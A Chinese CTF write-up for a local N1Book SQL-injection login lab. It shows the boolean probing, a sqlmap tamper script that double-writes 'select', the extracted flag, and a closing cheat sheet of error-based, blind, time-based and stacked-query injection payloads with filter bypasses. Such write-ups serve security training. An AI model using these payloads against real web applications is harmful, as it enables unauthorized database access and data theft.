SQLInjection-2


SQLInjection-2

前言

先说一下大体上的流程吧,这是一个注入类的题目,行文安排大概是说一下思路,以及各种中间的过程,以及最后给出 flag

部署环境

这里使用的是 docker-compose 下面给出配置文件,直接保存运行即可。

配置文件

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latest
    ports:
      - 80:80

启动方式

docker-compose up -d

随后直接使用浏览器访问 localhost/login.php 即可。

思路 & 结题过程

两种错误反馈

  1. 使用 admin 用户名登陆,提示 用户名和密码错误
  2. 使用 xxxxx 用户名登陆,提示 用户不存在

测试出是存在 admin 用户的 。

布尔类型状态

用户名和密码错误 用户不存在
img img

判断列数

  • admin' and 1=1 order by 3# 正常
  • admin' and 1=1 order by 4# 异常

所以判断出是存在三列的,但在测试的时候发现使用 select null,null,null# 测试是不行的,所以使用双写绕过。

编写 tamper 脚本使用 sqlmap 进行注入。

# sqlmap/tamper/sss.py
 
from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.LOWEST
 
def dependencies():
    pass
 
def tamper(payload, **kwargs):
    payload = payload.replace("select", "selselectect")
    return payload

爆出字段名

至于数据库名和表名和上一个 SQLInjection-1 是一样的。所以这里的操作就直接从字段名开始了,使用下列命令可以直接注入出来。

sqlmap -r post --tamper=sss -D note -T fl4g --columns
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+

flag

Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

总结

这道题算是简单题,只对select进行了过滤,而且只是基于报错的注入。现在来扩宽一下sql注入的难度

  • 关键字过滤可以用大小写、多重关键字、/**/、concat绕过

    • select、union、sleep、information_schema
    • table、and、or
  • 用extractvalue或updatexml报错注入,连接词可以为 and、or、||、&&、^,末尾可能需要加 %23,#的url编码。

    • 举一个updatexml的例子,其他与extractvalue相同,1' and updatexml(1,concat(0x7e,user(),0x7e),1)%23
    • 1' and extractvalue(1,concat(0x7e,user(),0x7e))%23
    • 1' and extractvalue(1,concat(0x7e,database(),0x7e))%23
    • 1' and extractvalue(1,concat(0x7e,version(),0x7e))%23
    • 无空格、无等号,获得表名 1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e))%23
    • 无空格、无等号,获得列名 1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e))%23
    • 无空格,正序获得flag1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))%23
    • 无空格,逆序获得flag1'^extractvalue(1,concat(0x7e,reverse((select(group_concat(password))from(H4rDsq1))),0x7e))%23
  • 普通盲注"1 and if(ascii(substr((database()),{},1))>{},1,0)%23".format(i, mid)
  • 时间盲注需要用到sleep(n),盲注通用语句

    • sql="select(if(ascii(mid((select group_concat(schema_name) from information_schema.schemata),{},1))={},sleep(3),0))".format(str(num), str(ord(char)))
  • 进一步的关键字都被过滤,时间盲注关键字也无效,考虑SQL语句的转码。使用堆叠注入的方式执行16进制编码的SQL语句。 通用payload如下
    • 1';Set @x=SQL语句;Prepare a from @x;Execute a;#
    • SQL语句:concat("SE","lect flag from table")
    • 注意SQL语句如果是16进制需要在前面加0x

文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录